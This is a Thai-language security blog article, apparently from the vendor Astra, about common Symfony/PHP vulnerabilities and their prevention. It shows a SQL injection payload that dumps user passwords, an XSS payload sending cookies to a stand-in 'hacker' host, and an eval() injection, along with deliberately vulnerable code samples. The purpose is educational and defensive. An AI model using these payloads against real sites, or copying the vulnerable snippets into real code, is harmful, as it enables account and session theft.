Symfony เป็นเฟรมเวิร์ก PHP ยอดนิยมที่ทำให้ผู้ใช้สร้างเว็บไซต์และแอปพลิเคชันเว็บ PHP ได้ง่ายขึ้น ในอดีตเคยมีเหตุการณ์ที่ Drupal ถูกกระทบจากข้อบกพร่องในเฟรมเวิร์ก Symfony ซึ่งนำไปสู่การที่เว็บไซต์ Symfony ถูกแฮ็ก แม้จะเป็นข้อบกพร่องของเฟรมเวิร์ก Symfony บ้างครั้ง แต่การพัฒนาที่ไม่ปลอดภัยก็ทำให้เว็บไซต์ PHP ของคุณรู้สึกอ่อนแอ ผ่านบทความนี้ คุณจะได้เรียนรู้ช่องโหว่สำคัญที่นำไปสู่การถูกแฮ็กของเว็บไซต์ Symfony และวิธีป้องกัน
ความนิยมของ Symfony มาจากการให้ชุดไลบรารี PHP ที่แยกต่างหากและใช้งานได้ ไลบรารีเหล่านี้เร่งการพัฒนาและทำให้ง่ายขึ้น อย่างไรก็ตาม การใช้เฟรมเวิร์ก Symfony เพียงอย่างเดียวไม่สามารถรักษาความปลอดภัยเว็บไซต์ PHP ของคุณได้ ตามข้อมูลจาก Contrast Security
อาการของเว็บไซต์ Symfony ถูกแฮ็ก
- ตารางที่น่าสงสัยในฐานข้อมูล ผู้ใช้ไม่รู้จัก และไฟล์ไม่รู้จักบนระบบ อาจเป็นสัญญาณของ Symfony SQL Injection
- ป็อปอัปและโฆษณาที่เปลี่ยนเส้นทางไปโดเมนน่าสงสัย อาจเกิดจาก Symfony Remote Code Execution
- หากผู้ใช้ร้องเรียนว่าบัญชีถูกลบหรือข้อมูลถูกจัดการโดยไม่ได้รับการยืนยัน อาจเกิดจาก Symfony Cross-Site Request Forgery
- เนื้อหาบ้าคลั่งปรากฏบนเว็บไซต์ อาจเกิดจาก Symfony Stored Cross-Site Scripting
- ผลจากการถูกแฮ็กทั้งหมด เครื่องมือค้นหาจะเตือนผู้ใช้ไม่ให้เข้าชมเว็บไซต์ของคุณ
สาเหตุของการถูกแฮ็กเว็บไซต์ Symfony
การถูกแฮ็ก Symfony: SQL Injection
Symfony SQL Injection เป็นการโจมตีที่มุ่งเป้าฐานข้อมูลของเว็บไซต์ การขาดการทำให้ข้อมูลนำเข้าปลอดภัย (sanitization) ทำให้เว็บไซต์รู้สึกอ่อนแอและนำไปสู่การถูกแฮ็ก ตัวอย่างโค้ดด้านล่าง:
<?php
$query = "SELECT id, name, inserted, size FROM products WHERE size = '$size'";
$result = odbc_exec($conn, $query);
?>
โค้ด PHP นี้ดูเหมือนจะเรียกใช้ SQL query ธรรมดา แต่โจมตีสามารถใช้มันเปิดเผยรหัสผ่านทั้งหมดจากฐานข้อมูลด้วยคำสั่ง SELECT SQL ได้ ข้อมูลนำเข้าให้ตัวแปร $size จะมีลักษณะประมาณนี้:
'union select '1', concat(uname||'-'||passwd) as name, '1971-01-01', '0' from user;--
คำสั่งนี้เมื่อรันจะแสดงรหัสผ่านทั้งหมดจากตารางชื่อ user สัญลักษณ์ '—' ที่ท้ายคำสั่งจะทำให้โค้ดส่วนที่เหลือกลายเป็นคอมเมนต์เพื่อหลีกเลี่ยงข้อผิดพลาด นี่เป็นเพียงตัวอย่างเล็กน้อย โจมตีสามารถใช้ในหลายรูปแบบเพื่อจัดการ แก้ไข และแม้แต่ลบฐานข้อมูลของคุณ ในบางกรณี SQLi ยังสามารถใช้เพื่อรับ Reverse Shell ได้
การถูกแฮ็ก Symfony: Cross-Site Scripting
XSS เป็นช่องโหว่ที่พบบ่อย เกิดจากขาดการทำให้ข้อมูลนำเข้าปลอดภัยอย่างเหมาะสม ช่องโหว่นี้พบได้บ่อยในกล่องค้นหา กระดานข้อความ ฯลฯ เว็บไซต์ Symfony ที่ถูกแฮ็กจาก XSS สามารถถูกใช้โดยโจมตีเพื่อขโมยคุกกี้และเข้าครอบครอง Session ตัวอย่าง การสร้างคำค้นหาด้วยโค้ดต่อไปนี้สามารถให้โจมตีขโมยคุกกี้ของผู้ที่คลิกได้
"><SCRIPT>var+img=new+Image();img.src="https://hacker/"%20+%20document.cookie;</SCRIPT>
ที่นี่ตัวอักษร '>' จะปิดแท็กก่อนหน้า ต่อมา constructor image() จะสร้างรูปภาพใหม่ในตัวแปร 'img' บรรทัดถัดไปจะกำหนด source ของรูปภาพ และในบรรทัดเดียวกัน เมธอด document.cookie จะถูกใช้เพื่อดึงคุกกี้เพื่อเข้าครอบครอง session
หาก XSS เป็นแบบ Stored หรือ Persistent จะอันตรายกว่า เพราะสคริปต์นี้จะขโมยคุกกี้อัตโนมัติเมื่อใครเปิดหน้าที่ติดเชื้อ ในขณะที่ Reflected XSS ใช้การโจมตีทางสังคม (Social Engineering) ไม่เพียงแค่ขโมยคุกกี้ Symfony ที่ถูกแฮ็กจาก XSS ยังสามารถใช้สำหรับการโจมตีฟิชชิงทุกรูปแบบได้! ต้องการความช่วยเหลือซ่อมแซมเว็บไซต์ Symfony ที่ถูกแฮ็ก? ทำความสะอาดเว็บไซต์ตอนนี้
การถูกแฮ็ก Symfony: Cross-Site Request Forgery
CSRF สามารถใช้โดยโจมตีเพื่อให้เหยื่อทำงานที่ไม่พึงประสงค์ เช่น ลบบัญชี จัดการข้อมูลผู้ใช้ ฯลฯ ตัวอย่าง เมื่อผู้ใช้ล็อกอินอยู่ในเว็บไซต์ของคุณ การเข้าชมหน้าที่ปลอมพิเศษอย่างด้านล่างอาจนำไปสู่การลบบัญชี
หน้านี้จะใช้ค่า 'delete' ของ action เพื่อลบบัญชีผู้ใช้ แม้โจมตีจะใช้ CSRF โจมตีได้หลายแบบ แต่ไม่มีกลไกให้โจมตีทราบว่าการโจมตีสำเร็จหรือไม่
การถูกแฮ็ก Symfony: Remote Code Execution
Remote Code Execution เกิดขึ้นในเว็บไซต์ที่ใช้ Symfony เนื่องจากมาตรฐานการเขียนโค้ดที่ไม่ดี ปัญหาความปลอดภัยใหญ่ที่สุดในการโจมตีทั้งหมดคือ "เชื่อมั่นในข้อมูลนำเข้าของผู้ใช้" ตัวอย่าง การใช้ฟังก์ชัน eval() ใน PHP อย่างไม่เหมาะสมจะมีลักษณะดังนี้:
$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
โค้ดดูง่ายๆ จะรับ arguments และใช้ eval เพื่อรันสตริงเป็นโค้ด PHP แต่เนื่องจากข้อมูลนำเข้าไม่ได้ถูกกรอง โจมตีสามารถส่งค่าเช่น /index.php?arg=1; phpinfo() ซึ่งจะนำไปสู่การรันโค้ดของฟังก์ชัน phpinfo()
การถูกแฮ็ก Symfony: แนวทางการพัฒนาที่ปลอดภัย
- เพื่อป้องกัน SQLi บนเว็บไซต์ Symfony ให้ใช้ Prepared Statements
- เพื่อป้องกัน XSS ในเว็บไซต์ Symfony ให้ใช้ฟังก์ชัน htmlspecialchars() นำไปใช้ทุกครั้งที่ต้องแสดงข้อมูลนำเข้าของผู้ใช้เป็นเอาต์พุตบนเบราว์เซอร์
- ใช้โทเค็นสุ่มซ่อนในหน้าเพื่อป้องกัน CSRF เช่น: <input type="hidden" name="csrf" value="<?php echo $_SESSION["token"]; ?>">
- เพื่อป้องกัน RCE ให้ปิดฟังก์ชันอันตรายทั้งหมดผ่านคำสั่ง PHP ใน php.ini: disable_functions = "show_source, system, shell_exec, passthru, exec, popen, proc_open, allow_url_fopen, eval"
- สรุปคือ ช่องโหว่ส่วนใหญ่สามารถป้องกันได้โดยไม่เชื่อมั่นในข้อมูลนำเข้าของผู้ใช้ในเว็บไซต์ Symfony
- ทำ Security Audit เต็มรูปแบบหากสงสัยว่ามีช่องโหว่ซ่อนอยู่บนเว็บไซต์
Astra
ด้วยมัลแวร์สแกนเนอร์ที่ขับเคลื่อนด้วย Machine Learning และไฟร์วอลล์อัจฉริยะ ความปลอดภัยเว็บไซต์ของคุณจะแข็งแกร่งขึ้น ทั้งหมดนี้มีราคาที่เข้าถึงได้ เนื่องจากแผนยืดหยุ่นรองรับแม้เว็บไซต์ขนาดเล็ก ลอง Astra Web Protection Free Trial ตอนนี้!
